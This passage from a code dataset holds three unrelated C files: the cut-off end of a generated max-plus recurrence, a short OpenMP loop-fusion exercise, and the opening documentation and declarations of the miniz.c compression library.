+ x_21) > ((2.0 + x_22) > (12.0 + x_23)? (2.0 + x_22) : (12.0 + x_23))? (4.0 + x_21) : ((2.0 + x_22) > (12.0 + x_23)? (2.0 + x_22) : (12.0 + x_23))))); x_20_ = ((((11.0 + x_1) > ((11.0 + x_4) > (9.0 + x_5)? (11.0 + x_4) : (9.0 + x_5))? (11.0 + x_1) : ((11.0 + x_4) > (9.0 + x_5)? (11.0 + x_4) : (9.0 + x_5))) > ((9.0 + x_8) > ((2.0 + x_12) > (17.0 + x_14)? (2.0 + x_12) : (17.0 + x_14))? (9.0 + x_8) : ((2.0 + x_12) > (17.0 + x_14)? (2.0 + x_12) : (17.0 + x_14)))? ((11.0 + x_1) > ((11.0 + x_4) > (9.0 + x_5)? (11.0 + x_4) : (9.0 + x_5))? (11.0 + x_1) : ((11.0 + x_4) > (9.0 + x_5)? (11.0 + x_4) : (9.0 + x_5))) : ((9.0 + x_8) > ((2.0 + x_12) > (17.0 + x_14)? (2.0 + x_12) : (17.0 + x_14))? (9.0 + x_8) : ((2.0 + x_12) > (17.0 + x_14)? (2.0 + x_12) : (17.0 + x_14)))) > (((3.0 + x_15) > ((10.0 + x_17) > (12.0 + x_18)? (10.0 + x_17) : (12.0 + x_18))? (3.0 + x_15) : ((10.0 + x_17) > (12.0 + x_18)? (10.0 + x_17) : (12.0 + x_18))) > ((4.0 + x_19) > ((17.0 + x_22) > (13.0 + x_23)? (17.0 + x_22) : (13.0 + x_23))? (4.0 + x_19) : ((17.0 + x_22) > (13.0 + x_23)? (17.0 + x_22) : (13.0 + x_23)))? ((3.0 + x_15) > ((10.0 + x_17) > (12.0 + x_18)? (10.0 + x_17) : (12.0 + x_18))? (3.0 + x_15) : ((10.0 + x_17) > (12.0 + x_18)? (10.0 + x_17) : (12.0 + x_18))) : ((4.0 + x_19) > ((17.0 + x_22) > (13.0 + x_23)? (17.0 + x_22) : (13.0 + x_23))? (4.0 + x_19) : ((17.0 + x_22) > (13.0 + x_23)? (17.0 + x_22) : (13.0 + x_23))))? (((11.0 + x_1) > ((11.0 + x_4) > (9.0 + x_5)? (11.0 + x_4) : (9.0 + x_5))? (11.0 + x_1) : ((11.0 + x_4) > (9.0 + x_5)? (11.0 + x_4) : (9.0 + x_5))) > ((9.0 + x_8) > ((2.0 + x_12) > (17.0 + x_14)? (2.0 + x_12) : (17.0 + x_14))? (9.0 + x_8) : ((2.0 + x_12) > (17.0 + x_14)? (2.0 + x_12) : (17.0 + x_14)))? ((11.0 + x_1) > ((11.0 + x_4) > (9.0 + x_5)? (11.0 + x_4) : (9.0 + x_5))? (11.0 + x_1) : ((11.0 + x_4) > (9.0 + x_5)? (11.0 + x_4) : (9.0 + x_5))) : ((9.0 + x_8) > ((2.0 + x_12) > (17.0 + x_14)? (2.0 + x_12) : (17.0 + x_14))? (9.0 + x_8) : ((2.0 + x_12) > (17.0 + x_14)? (2.0 + x_12) : (17.0 + x_14)))) : (((3.0 + x_15) > ((10.0 + x_17) > (12.0 + x_18)? (10.0 + x_17) : (12.0 + x_18))? (3.0 + x_15) : ((10.0 + x_17) > (12.0 + x_18)? (10.0 + x_17) : (12.0 + x_18))) > ((4.0 + x_19) > ((17.0 + x_22) > (13.0 + x_23)? (17.0 + x_22) : (13.0 + x_23))? (4.0 + x_19) : ((17.0 + x_22) > (13.0 + x_23)? (17.0 + x_22) : (13.0 + x_23)))? ((3.0 + x_15) > ((10.0 + x_17) > (12.0 + x_18)? (10.0 + x_17) : (12.0 + x_18))? (3.0 + x_15) : ((10.0 + x_17) > (12.0 + x_18)? (10.0 + x_17) : (12.0 + x_18))) : ((4.0 + x_19) > ((17.0 + x_22) > (13.0 + x_23)? (17.0 + x_22) : (13.0 + x_23))? (4.0 + x_19) : ((17.0 + x_22) > (13.0 + x_23)? (17.0 + x_22) : (13.0 + x_23))))); x_21_ = ((((2.0 + x_0) > ((18.0 + x_3) > (2.0 + x_4)? (18.0 + x_3) : (2.0 + x_4))? (2.0 + x_0) : ((18.0 + x_3) > (2.0 + x_4)? (18.0 + x_3) : (2.0 + x_4))) > ((8.0 + x_6) > ((14.0 + x_12) > (4.0 + x_14)? (14.0 + x_12) : (4.0 + x_14))? (8.0 + x_6) : ((14.0 + x_12) > (4.0 + x_14)? (14.0 + x_12) : (4.0 + x_14)))? ((2.0 + x_0) > ((18.0 + x_3) > (2.0 + x_4)? (18.0 + x_3) : (2.0 + x_4))? (2.0 + x_0) : ((18.0 + x_3) > (2.0 + x_4)? (18.0 + x_3) : (2.0 + x_4))) : ((8.0 + x_6) > ((14.0 + x_12) > (4.0 + x_14)? (14.0 + x_12) : (4.0 + x_14))? (8.0 + x_6) : ((14.0 + x_12) > (4.0 + x_14)? (14.0 + x_12) : (4.0 + x_14)))) > (((10.0 + x_15) > ((5.0 + x_16) > (7.0 + x_17)? (5.0 + x_16) : (7.0 + x_17))? (10.0 + x_15) : ((5.0 + x_16) > (7.0 + x_17)? (5.0 + x_16) : (7.0 + x_17))) > ((8.0 + x_18) > ((16.0 + x_21) > (7.0 + x_22)? (16.0 + x_21) : (7.0 + x_22))? (8.0 + x_18) : ((16.0 + x_21) > (7.0 + x_22)? (16.0 + x_21) : (7.0 + x_22)))? ((10.0 + x_15) > ((5.0 + x_16) > (7.0 + x_17)? (5.0 + x_16) : (7.0 + x_17))? (10.0 + x_15) : ((5.0 + x_16) > (7.0 + x_17)? (5.0 + x_16) : (7.0 + x_17))) : ((8.0 + x_18) > ((16.0 + x_21) > (7.0 + x_22)? (16.0 + x_21) : (7.0 + x_22))? (8.0 + x_18) : ((16.0 + x_21) > (7.0 + x_22)? (16.0 + x_21) : (7.0 + x_22))))? (((2.0 + x_0) > ((18.0 + x_3) > (2.0 + x_4)? (18.0 + x_3) : (2.0 + x_4))? (2.0 + x_0) : ((18.0 + x_3) > (2.0 + x_4)? (18.0 + x_3) : (2.0 + x_4))) > ((8.0 + x_6) > ((14.0 + x_12) > (4.0 + x_14)? (14.0 + x_12) : (4.0 + x_14))? (8.0 + x_6) : ((14.0 + x_12) > (4.0 + x_14)? (14.0 + x_12) : (4.0 + x_14)))? ((2.0 + x_0) > ((18.0 + x_3) > (2.0 + x_4)? (18.0 + x_3) : (2.0 + x_4))? (2.0 + x_0) : ((18.0 + x_3) > (2.0 + x_4)? (18.0 + x_3) : (2.0 + x_4))) : ((8.0 + x_6) > ((14.0 + x_12) > (4.0 + x_14)? (14.0 + x_12) : (4.0 + x_14))? (8.0 + x_6) : ((14.0 + x_12) > (4.0 + x_14)? (14.0 + x_12) : (4.0 + x_14)))) : (((10.0 + x_15) > ((5.0 + x_16) > (7.0 + x_17)? (5.0 + x_16) : (7.0 + x_17))? (10.0 + x_15) : ((5.0 + x_16) > (7.0 + x_17)? (5.0 + x_16) : (7.0 + x_17))) > ((8.0 + x_18) > ((16.0 + x_21) > (7.0 + x_22)? (16.0 + x_21) : (7.0 + x_22))? (8.0 + x_18) : ((16.0 + x_21) > (7.0 + x_22)? (16.0 + x_21) : (7.0 + x_22)))? ((10.0 + x_15) > ((5.0 + x_16) > (7.0 + x_17)? (5.0 + x_16) : (7.0 + x_17))? (10.0 + x_15) : ((5.0 + x_16) > (7.0 + x_17)? (5.0 + x_16) : (7.0 + x_17))) : ((8.0 + x_18) > ((16.0 + x_21) > (7.0 + x_22)? (16.0 + x_21) : (7.0 + x_22))? (8.0 + x_18) : ((16.0 + x_21) > (7.0 + x_22)? (16.0 + x_21) : (7.0 + x_22))))); x_22_ = ((((8.0 + x_0) > ((17.0 + x_5) > (9.0 + x_6)? (17.0 + x_5) : (9.0 + x_6))? (8.0 + x_0) : ((17.0 + x_5) > (9.0 + x_6)? (17.0 + x_5) : (9.0 + x_6))) > ((11.0 + x_7) > ((2.0 + x_8) > (6.0 + x_9)? (2.0 + x_8) : (6.0 + x_9))? (11.0 + x_7) : ((2.0 + x_8) > (6.0 + x_9)? (2.0 + x_8) : (6.0 + x_9)))? ((8.0 + x_0) > ((17.0 + x_5) > (9.0 + x_6)? (17.0 + x_5) : (9.0 + x_6))? (8.0 + x_0) : ((17.0 + x_5) > (9.0 + x_6)? (17.0 + x_5) : (9.0 + x_6))) : ((11.0 + x_7) > ((2.0 + x_8) > (6.0 + x_9)? (2.0 + x_8) : (6.0 + x_9))? (11.0 + x_7) : ((2.0 + x_8) > (6.0 + x_9)? (2.0 + x_8) : (6.0 + x_9)))) > (((18.0 + x_13) > ((10.0 + x_15) > (13.0 + x_19)? (10.0 + x_15) : (13.0 + x_19))? (18.0 + x_13) : ((10.0 + x_15) > (13.0 + x_19)? (10.0 + x_15) : (13.0 + x_19))) > ((3.0 + x_20) > ((3.0 + x_22) > (19.0 + x_23)? (3.0 + x_22) : (19.0 + x_23))? (3.0 + x_20) : ((3.0 + x_22) > (19.0 + x_23)? (3.0 + x_22) : (19.0 + x_23)))? ((18.0 + x_13) > ((10.0 + x_15) > (13.0 + x_19)? (10.0 + x_15) : (13.0 + x_19))? (18.0 + x_13) : ((10.0 + x_15) > (13.0 + x_19)? (10.0 + x_15) : (13.0 + x_19))) : ((3.0 + x_20) > ((3.0 + x_22) > (19.0 + x_23)? (3.0 + x_22) : (19.0 + x_23))? (3.0 + x_20) : ((3.0 + x_22) > (19.0 + x_23)? (3.0 + x_22) : (19.0 + x_23))))? (((8.0 + x_0) > ((17.0 + x_5) > (9.0 + x_6)? (17.0 + x_5) : (9.0 + x_6))? (8.0 + x_0) : ((17.0 + x_5) > (9.0 + x_6)? (17.0 + x_5) : (9.0 + x_6))) > ((11.0 + x_7) > ((2.0 + x_8) > (6.0 + x_9)? (2.0 + x_8) : (6.0 + x_9))? (11.0 + x_7) : ((2.0 + x_8) > (6.0 + x_9)? (2.0 + x_8) : (6.0 + x_9)))? ((8.0 + x_0) > ((17.0 + x_5) > (9.0 + x_6)? (17.0 + x_5) : (9.0 + x_6))? (8.0 + x_0) : ((17.0 + x_5) > (9.0 + x_6)? (17.0 + x_5) : (9.0 + x_6))) : ((11.0 + x_7) > ((2.0 + x_8) > (6.0 + x_9)? (2.0 + x_8) : (6.0 + x_9))? (11.0 + x_7) : ((2.0 + x_8) > (6.0 + x_9)? (2.0 + x_8) : (6.0 + x_9)))) : (((18.0 + x_13) > ((10.0 + x_15) > (13.0 + x_19)? (10.0 + x_15) : (13.0 + x_19))? (18.0 + x_13) : ((10.0 + x_15) > (13.0 + x_19)? (10.0 + x_15) : (13.0 + x_19))) > ((3.0 + x_20) > ((3.0 + x_22) > (19.0 + x_23)? (3.0 + x_22) : (19.0 + x_23))? (3.0 + x_20) : ((3.0 + x_22) > (19.0 + x_23)? (3.0 + x_22) : (19.0 + x_23)))? ((18.0 + x_13) > ((10.0 + x_15) > (13.0 + x_19)? (10.0 + x_15) : (13.0 + x_19))? (18.0 + x_13) : ((10.0 + x_15) > (13.0 + x_19)? (10.0 + x_15) : (13.0 + x_19))) : ((3.0 + x_20) > ((3.0 + x_22) > (19.0 + x_23)? (3.0 + x_22) : (19.0 + x_23))? (3.0 + x_20) : ((3.0 + x_22) > (19.0 + x_23)? (3.0 + x_22) : (19.0 + x_23))))); x_23_ = ((((17.0 + x_0) > ((13.0 + x_2) > (4.0 + x_3)? (13.0 + x_2) : (4.0 + x_3))? (17.0 + x_0) : ((13.0 + x_2) > (4.0 + x_3)? (13.0 + x_2) : (4.0 + x_3))) > ((13.0 + x_6) > ((4.0 + x_7) > (15.0 + x_10)? (4.0 + x_7) : (15.0 + x_10))? (13.0 + x_6) : ((4.0 + x_7) > (15.0 + x_10)? (4.0 + x_7) : (15.0 + x_10)))? ((17.0 + x_0) > ((13.0 + x_2) > (4.0 + x_3)? (13.0 + x_2) : (4.0 + x_3))? (17.0 + x_0) : ((13.0 + x_2) > (4.0 + x_3)? (13.0 + x_2) : (4.0 + x_3))) : ((13.0 + x_6) > ((4.0 + x_7) > (15.0 + x_10)? (4.0 + x_7) : (15.0 + x_10))? (13.0 + x_6) : ((4.0 + x_7) > (15.0 + x_10)? (4.0 + x_7) : (15.0 + x_10)))) > (((9.0 + x_11) > ((14.0 + x_15) > (15.0 + x_17)? (14.0 + x_15) : (15.0 + x_17))? (9.0 + x_11) : ((14.0 + x_15) > (15.0 + x_17)? (14.0 + x_15) : (15.0 + x_17))) > ((16.0 + x_19) > ((2.0 + x_20) > (1.0 + x_22)? (2.0 + x_20) : (1.0 + x_22))? (16.0 + x_19) : ((2.0 + x_20) > (1.0 + x_22)? (2.0 + x_20) : (1.0 + x_22)))? ((9.0 + x_11) > ((14.0 + x_15) > (15.0 + x_17)? (14.0 + x_15) : (15.0 + x_17))? (9.0 + x_11) : ((14.0 + x_15) > (15.0 + x_17)? (14.0 + x_15) : (15.0 + x_17))) : ((16.0 + x_19) > ((2.0 + x_20) > (1.0 + x_22)? (2.0 + x_20) : (1.0 + x_22))? (16.0 + x_19) : ((2.0 + x_20) > (1.0 + x_22)? (2.0 + x_20) : (1.0 + x_22))))? (((17.0 + x_0) > ((13.0 + x_2) > (4.0 + x_3)? (13.0 + x_2) : (4.0 + x_3))? (17.0 + x_0) : ((13.0 + x_2) > (4.0 + x_3)? (13.0 + x_2) : (4.0 + x_3))) > ((13.0 + x_6) > ((4.0 + x_7) > (15.0 + x_10)? (4.0 + x_7) : (15.0 + x_10))? (13.0 + x_6) : ((4.0 + x_7) > (15.0 + x_10)? (4.0 + x_7) : (15.0 + x_10)))? ((17.0 + x_0) > ((13.0 + x_2) > (4.0 + x_3)? (13.0 + x_2) : (4.0 + x_3))? (17.0 + x_0) : ((13.0 + x_2) > (4.0 + x_3)? (13.0 + x_2) : (4.0 + x_3))) : ((13.0 + x_6) > ((4.0 + x_7) > (15.0 + x_10)? (4.0 + x_7) : (15.0 + x_10))? (13.0 + x_6) : ((4.0 + x_7) > (15.0 + x_10)? (4.0 + x_7) : (15.0 + x_10)))) : (((9.0 + x_11) > ((14.0 + x_15) > (15.0 + x_17)? (14.0 + x_15) : (15.0 + x_17))? (9.0 + x_11) : ((14.0 + x_15) > (15.0 + x_17)? (14.0 + x_15) : (15.0 + x_17))) > ((16.0 + x_19) > ((2.0 + x_20) > (1.0 + x_22)? (2.0 + x_20) : (1.0 + x_22))? (16.0 + x_19) : ((2.0 + x_20) > (1.0 + x_22)? (2.0 + x_20) : (1.0 + x_22)))? ((9.0 + x_11) > ((14.0 + x_15) > (15.0 + x_17)? (14.0 + x_15) : (15.0 + x_17))? (9.0 + x_11) : ((14.0 + x_15) > (15.0 + x_17)? (14.0 + x_15) : (15.0 + x_17))) : ((16.0 + x_19) > ((2.0 + x_20) > (1.0 + x_22)? (2.0 + x_20) : (1.0 + x_22))? (16.0 + x_19) : ((2.0 + x_20) > (1.0 + x_22)? (2.0 + x_20) : (1.0 + x_22))))); x_0 = x_0_; x_1 = x_1_; x_2 = x_2_; x_3 = x_3_; x_4 = x_4_; x_5 = x_5_; x_6 = x_6_; x_7 = x_7_; x_8 = x_8_; x_9 = x_9_; x_10 = x_10_; x_11 = x_11_; x_12 = x_12_; x_13 = x_13_; x_14 = x_14_; x_15 = x_15_; x_16 = x_16_; x_17 = x_17_; x_18 = x_18_; x_19 = x_19_; x_20 = x_20_; x_21 = x_21_; x_22 = x_22_; x_23 = x_23_; } return 0; }
the_stack_data/75138931.c
void compute(double **a, double **b, double **c, double **d, int N, int num_threads) { // TODO: // Apply loop optimisations to the code below. Think about when certain optimisations are applicable and why. // For example, when should you apply loop fusion? Should you do this for large problem sizes or small or both? // Alternatively, does it make sense to break apart a heavy loop with a lot of computations? Why? /*#pragma omp parallel for for (int i = 0; i < N; i++) { for (int j = 0; j < N; j++) { a[i][j] = 2 * c[i][j]; } } #pragma omp parallel for for (int i = 0; i < N; i++) { for (int j = 0 ; j < N; j++) { d[i][j] = a[i][j] * b[i][j] ; } } for (int j = 0; j < N-1; j++) { for (int i = 0; i < N; i++) { d[i][j] = d[i][j+1] + c[i][j]; } } */ #pragma omp parallel for for (int i = 0; i < N; i++) { for (int j = 0 ; j < N; j++) { a[i][j] = 2 * c[i][j]; d[i][j] = a[i][j] * b[i][j]; } for (int j=0; j<N-1; j++) { d[i][j] = d[i][j+1] + c[i][j]; } } /*#pragma omp parallel for for (int j = 0; j < N-1; j++) { for (int i = 0; i < N; i++) { d[i][j] = d[i][j+1] + c[i][j]; } } */ }
the_stack_data/176704484.c
/* miniz.c v1.15 - public domain deflate/inflate, zlib-subset, ZIP reading/writing/appending, PNG writing See "unlicense" statement at the end of this file. Rich Geldreich <[email protected]>, last updated Oct. 13, 2013 Implements RFC 1950: http://www.ietf.org/rfc/rfc1950.txt and RFC 1951: http://www.ietf.org/rfc/rfc1951.txt Most API's defined in miniz.c are optional. For example, to disable the archive related functions just define MINIZ_NO_ARCHIVE_APIS, or to get rid of all stdio usage define MINIZ_NO_STDIO (see the list below for more macros). * Change History 10/13/13 v1.15 r4 - Interim bugfix release while I work on the next major release with Zip64 support (almost there!): - Critical fix for the MZ_ZIP_FLAG_DO_NOT_SORT_CENTRAL_DIRECTORY bug (thanks [email protected]) which could cause locate files to not find files. This bug would only have occured in earlier versions if you explicitly used this flag, OR if you used mz_zip_extract_archive_file_to_heap() or mz_zip_add_mem_to_archive_file_in_place() (which used this flag). If you can't switch to v1.15 but want to fix this bug, just remove the uses of this flag from both helper funcs (and of course don't use the flag). - Bugfix in mz_zip_reader_extract_to_mem_no_alloc() from kymoon when pUser_read_buf is not NULL and compressed size is > uncompressed size - Fixing mz_zip_reader_extract_*() funcs so they don't try to extract compressed data from directory entries, to account for weird zipfiles which contain zero-size compressed data on dir entries. Hopefully this fix won't cause any issues on weird zip archives, because it assumes the low 16-bits of zip external attributes are DOS attributes (which I believe they always are in practice). - Fixing mz_zip_reader_is_file_a_directory() so it doesn't check the internal attributes, just the filename and external attributes - mz_zip_reader_init_file() - missing MZ_FCLOSE() call if the seek failed - Added cmake support for Linux builds which builds all the examples, tested with clang v3.3 and gcc v4.6. - Clang fix for tdefl_write_image_to_png_file_in_memory() from toffaletti - Merged MZ_FORCEINLINE fix from hdeanclark - Fix <time.h> include before config #ifdef, thanks emil.brink - Added tdefl_write_image_to_png_file_in_memory_ex(): supports Y flipping (super useful for OpenGL apps), and explicit control over the compression level (so you can set it to 1 for real-time compression). - Merged in some compiler fixes from paulharris's github repro. - Retested this build under Windows (VS 2010, including static analysis), tcc 0.9.26, gcc v4.6 and clang v3.3. - Added example6.c, which dumps an image of the mandelbrot set to a PNG file. - Modified example2 to help test the MZ_ZIP_FLAG_DO_NOT_SORT_CENTRAL_DIRECTORY flag more. - In r3: Bugfix to mz_zip_writer_add_file() found during merge: Fix possible src file fclose() leak if alignment bytes+local header file write faiiled - In r4: Minor bugfix to mz_zip_writer_add_from_zip_reader(): Was pushing the wrong central dir header offset, appears harmless in this release, but it became a problem in the zip64 branch 5/20/12 v1.14 - MinGW32/64 GCC 4.6.1 compiler fixes: added MZ_FORCEINLINE, #include <time.h> (thanks fermtect). 5/19/12 v1.13 - From [email protected] and [email protected] - Fix mz_crc32() so it doesn't compute the wrong CRC-32's when mz_ulong is 64-bit. - Temporarily/locally slammed in "typedef unsigned long mz_ulong" and re-ran a randomized regression test on ~500k files. - Eliminated a bunch of warnings when compiling with GCC 32-bit/64. - Ran all examples, miniz.c, and tinfl.c through MSVC 2008's /analyze (static analysis) option and fixed all warnings (except for the silly "Use of the comma-operator in a tested expression.." analysis warning, which I purposely use to work around a MSVC compiler warning). - Created 32-bit and 64-bit Codeblocks projects/workspace. Built and tested Linux executables. The codeblocks workspace is compatible with Linux+Win32/x64. - Added miniz_tester solution/project, which is a useful little app derived from LZHAM's tester app that I use as part of the regression test. - Ran miniz.c and tinfl.c through another series of regression testing on ~500,000 files and archives. - Modified example5.c so it purposely disables a bunch of high-level functionality (MINIZ_NO_STDIO, etc.). (Thanks to corysama for the MINIZ_NO_STDIO bug report.) - Fix ftell() usage in examples so they exit with an error on files which are too large (a limitation of the examples, not miniz itself). 4/12/12 v1.12 - More comments, added low-level example5.c, fixed a couple minor level_and_flags issues in the archive API's. level_and_flags can now be set to MZ_DEFAULT_COMPRESSION. Thanks to Bruce Dawson <[email protected]> for the feedback/bug report. 5/28/11 v1.11 - Added statement from unlicense.org 5/27/11 v1.10 - Substantial compressor optimizations: - Level 1 is now ~4x faster than before. The L1 compressor's throughput now varies between 70-110MB/sec. on a - Core i7 (actual throughput varies depending on the type of data, and x64 vs. x86). - Improved baseline L2-L9 compression perf. Also, greatly improved compression perf. issues on some file types. - Refactored the compression code for better readability and maintainability. - Added level 10 compression level (L10 has slightly better ratio than level 9, but could have a potentially large drop in throughput on some files). 5/15/11 v1.09 - Initial stable release. * Low-level Deflate/Inflate implementation notes: Compression: Use the "tdefl" API's. The compressor supports raw, static, and dynamic blocks, lazy or greedy parsing, match length filtering, RLE-only, and Huffman-only streams. It performs and compresses approximately as well as zlib. Decompression: Use the "tinfl" API's. The entire decompressor is implemented as a single function coroutine: see tinfl_decompress(). It supports decompression into a 32KB (or larger power of 2) wrapping buffer, or into a memory block large enough to hold the entire file. The low-level tdefl/tinfl API's do not make any use of dynamic memory allocation. * zlib-style API notes: miniz.c implements a fairly large subset of zlib. There's enough functionality present for it to be a drop-in zlib replacement in many apps: The z_stream struct, optional memory allocation callbacks deflateInit/deflateInit2/deflate/deflateReset/deflateEnd/deflateBound inflateInit/inflateInit2/inflate/inflateEnd compress, compress2, compressBound, uncompress CRC-32, Adler-32 - Using modern, minimal code size, CPU cache friendly routines. Supports raw deflate streams or standard zlib streams with adler-32 checking. Limitations: The callback API's are not implemented yet. No support for gzip headers or zlib static dictionaries. I've tried to closely emulate zlib's various flavors of stream flushing and return status codes, but there are no guarantees that miniz.c pulls this off perfectly. * PNG writing: See the tdefl_write_image_to_png_file_in_memory() function, originally written by Alex Evans. Supports 1-4 bytes/pixel images. * ZIP archive API notes: The ZIP archive API's where designed with simplicity and efficiency in mind, with just enough abstraction to get the job done with minimal fuss. There are simple API's to retrieve file information, read files from existing archives, create new archives, append new files to existing archives, or clone archive data from one archive to another. It supports archives located in memory or the heap, on disk (using stdio.h), or you can specify custom file read/write callbacks. - Archive reading: Just call this function to read a single file from a disk archive: void *mz_zip_extract_archive_file_to_heap(const char *pZip_filename, const char *pArchive_name, size_t *pSize, mz_uint zip_flags); For more complex cases, use the "mz_zip_reader" functions. Upon opening an archive, the entire central directory is located and read as-is into memory, and subsequent file access only occurs when reading individual files. - Archives file scanning: The simple way is to use this function to scan a loaded archive for a specific file: int mz_zip_reader_locate_file(mz_zip_archive *pZip, const char *pName, const char *pComment, mz_uint flags); The locate operation can optionally check file comments too, which (as one example) can be used to identify multiple versions of the same file in an archive. This function uses a simple linear search through the central directory, so it's not very fast. Alternately, you can iterate through all the files in an archive (using mz_zip_reader_get_num_files()) and retrieve detailed info on each file by calling mz_zip_reader_file_stat(). - Archive creation: Use the "mz_zip_writer" functions. The ZIP writer immediately writes compressed file data to disk and builds an exact image of the central directory in memory. The central directory image is written all at once at the end of the archive file when the archive is finalized. The archive writer can optionally align each file's local header and file data to any power of 2 alignment, which can be useful when the archive will be read from optical media. Also, the writer supports placing arbitrary data blobs at the very beginning of ZIP archives. Archives written using either feature are still readable by any ZIP tool. - Archive appending: The simple way to add a single file to an archive is to call this function: mz_bool mz_zip_add_mem_to_archive_file_in_place(const char *pZip_filename, const char *pArchive_name, const void *pBuf, size_t buf_size, const void *pComment, mz_uint16 comment_size, mz_uint level_and_flags); The archive will be created if it doesn't already exist, otherwise it'll be appended to. Note the appending is done in-place and is not an atomic operation, so if something goes wrong during the operation it's possible the archive could be left without a central directory (although the local file headers and file data will be fine, so the archive will be recoverable). For more complex archive modification scenarios: 1. The safest way is to use a mz_zip_reader to read the existing archive, cloning only those bits you want to preserve into a new archive using using the mz_zip_writer_add_from_zip_reader() function (which compiles the compressed file data as-is). When you're done, delete the old archive and rename the newly written archive, and you're done. This is safe but requires a bunch of temporary disk space or heap memory. 2. Or, you can convert an mz_zip_reader in-place to an mz_zip_writer using mz_zip_writer_init_from_reader(), append new files as needed, then finalize the archive which will write an updated central directory to the original archive. (This is basically what mz_zip_add_mem_to_archive_file_in_place() does.) There's a possibility that the archive's central directory could be lost with this method if anything goes wrong, though. - ZIP archive support limitations: No zip64 or spanning support. Extraction functions can only handle unencrypted, stored or deflated files. Requires streams capable of seeking. * This is a header file library, like stb_image.c. To get only a header file, either cut and paste the below header, or create miniz.h, #define MINIZ_HEADER_FILE_ONLY, and then include miniz.c from it. * Important: For best perf. be sure to customize the below macros for your target platform: #define MINIZ_USE_UNALIGNED_LOADS_AND_STORES 1 #define MINIZ_LITTLE_ENDIAN 1 #define MINIZ_HAS_64BIT_REGISTERS 1 * On platforms using glibc, Be sure to "#define _LARGEFILE64_SOURCE 1" before including miniz.c to ensure miniz uses the 64-bit variants: fopen64(), stat64(), etc. Otherwise you won't be able to process large files (i.e. 32-bit stat() fails for me on files > 0x7FFFFFFF bytes). */ #ifndef MINIZ_HEADER_INCLUDED #define MINIZ_HEADER_INCLUDED #include <stdlib.h> // Defines to completely disable specific portions of miniz.c: // If all macros here are defined the only functionality remaining will be CRC-32, adler-32, tinfl, and tdefl. // Define MINIZ_NO_STDIO to disable all usage and any functions which rely on stdio for file I/O. //#define MINIZ_NO_STDIO // If MINIZ_NO_TIME is specified then the ZIP archive functions will not be able to get the current time, or // get/set file times, and the C run-time funcs that get/set times won't be called. // The current downside is the times written to your archives will be from 1979. //#define MINIZ_NO_TIME // Define MINIZ_NO_ARCHIVE_APIS to disable all ZIP archive API's. //#define MINIZ_NO_ARCHIVE_APIS // Define MINIZ_NO_ARCHIVE_APIS to disable all writing related ZIP archive API's. //#define MINIZ_NO_ARCHIVE_WRITING_APIS // Define MINIZ_NO_ZLIB_APIS to remove all ZLIB-style compression/decompression API's. //#define MINIZ_NO_ZLIB_APIS // Define MINIZ_NO_ZLIB_COMPATIBLE_NAME to disable zlib names, to prevent conflicts against stock zlib. //#define MINIZ_NO_ZLIB_COMPATIBLE_NAMES // Define MINIZ_NO_MALLOC to disable all calls to malloc, free, and realloc. // Note if MINIZ_NO_MALLOC is defined then the user must always provide custom user alloc/free/realloc // callbacks to the zlib and archive API's, and a few stand-alone helper API's which don't provide custom user // functions (such as tdefl_compress_mem_to_heap() and tinfl_decompress_mem_to_heap()) won't work. //#define MINIZ_NO_MALLOC #if defined(__TINYC__) && (defined(__linux) || defined(__linux__)) // TODO: Work around "error: include file 'sys\utime.h' when compiling with tcc on Linux #define MINIZ_NO_TIME #endif #if !defined(MINIZ_NO_TIME) && !defined(MINIZ_NO_ARCHIVE_APIS) #include <time.h> #endif #if defined(_M_IX86) || defined(_M_X64) || defined(__i386__) || defined(__i386) || defined(__i486__) || defined(__i486) || defined(i386) || defined(__ia64__) || defined(__x86_64__) // MINIZ_X86_OR_X64_CPU is only used to help set the below macros. #define MINIZ_X86_OR_X64_CPU 1 #endif #if (__BYTE_ORDER__==__ORDER_LITTLE_ENDIAN__) || MINIZ_X86_OR_X64_CPU // Set MINIZ_LITTLE_ENDIAN to 1 if the processor is little endian. #define MINIZ_LITTLE_ENDIAN 1 #endif #if MINIZ_X86_OR_X64_CPU // Set MINIZ_USE_UNALIGNED_LOADS_AND_STORES to 1 on CPU's that permit efficient integer loads and stores from unaligned addresses. #define MINIZ_USE_UNALIGNED_LOADS_AND_STORES 1 #endif #if defined(_M_X64) || defined(_WIN64) || defined(__MINGW64__) || defined(_LP64) || defined(__LP64__) || defined(__ia64__) || defined(__x86_64__) // Set MINIZ_HAS_64BIT_REGISTERS to 1 if operations on 64-bit integers are reasonably fast (and don't involve compiler generated calls to helper functions). #define MINIZ_HAS_64BIT_REGISTERS 1 #endif #ifdef __cplusplus extern "C" { #endif // ------------------- zlib-style API Definitions. // For more compatibility with zlib, miniz.c uses unsigned long for some parameters/struct members. Beware: mz_ulong can be either 32 or 64-bits! typedef unsigned long mz_ulong; // mz_free() internally uses the MZ_FREE() macro (which by default calls free() unless you've modified the MZ_MALLOC macro) to release a block allocated from the heap. void mz_free(void *p); #define MZ_ADLER32_INIT (1) // mz_adler32() returns the initial adler-32 value to use when called with ptr==NULL. mz_ulong mz_adler32(mz_ulong adler, const unsigned char *ptr, size_t buf_len); #define MZ_CRC32_INIT (0) // mz_crc32() returns the initial CRC-32 value to use when called with ptr==NULL. mz_ulong mz_crc32(mz_ulong crc, const unsigned char *ptr, size_t buf_len); // Compression strategies. enum { MZ_DEFAULT_STRATEGY = 0, MZ_FILTERED = 1, MZ_HUFFMAN_ONLY = 2, MZ_RLE = 3, MZ_FIXED = 4 }; // Method #define MZ_DEFLATED 8 #ifndef MINIZ_NO_ZLIB_APIS // Heap allocation callbacks. // Note that mz_alloc_func parameter types purpsosely differ from zlib's: items/size is size_t, not unsigned long. typedef void *(*mz_alloc_func)(void *opaque, size_t items, size_t size); typedef void (*mz_free_func)(void *opaque, void *address); typedef void *(*mz_realloc_func)(void *opaque, void *address, size_t items, size_t size); #define MZ_VERSION "9.1.15" #define MZ_VERNUM 0x91F0 #define MZ_VER_MAJOR 9 #define MZ_VER_MINOR 1 #define MZ_VER_REVISION 15 #define MZ_VER_SUBREVISION 0 // Flush values. For typical usage you only need MZ_NO_FLUSH and MZ_FINISH. The other values are for advanced use (refer to the zlib docs). enum { MZ_NO_FLUSH = 0, MZ_PARTIAL_FLUSH = 1, MZ_SYNC_FLUSH = 2, MZ_FULL_FLUSH = 3, MZ_FINISH = 4, MZ_BLOCK = 5 }; // Return status codes. MZ_PARAM_ERROR is non-standard. enum { MZ_OK = 0, MZ_STREAM_END = 1, MZ_NEED_DICT = 2, MZ_ERRNO = -1, MZ_STREAM_ERROR = -2, MZ_DATA_ERROR = -3, MZ_MEM_ERROR = 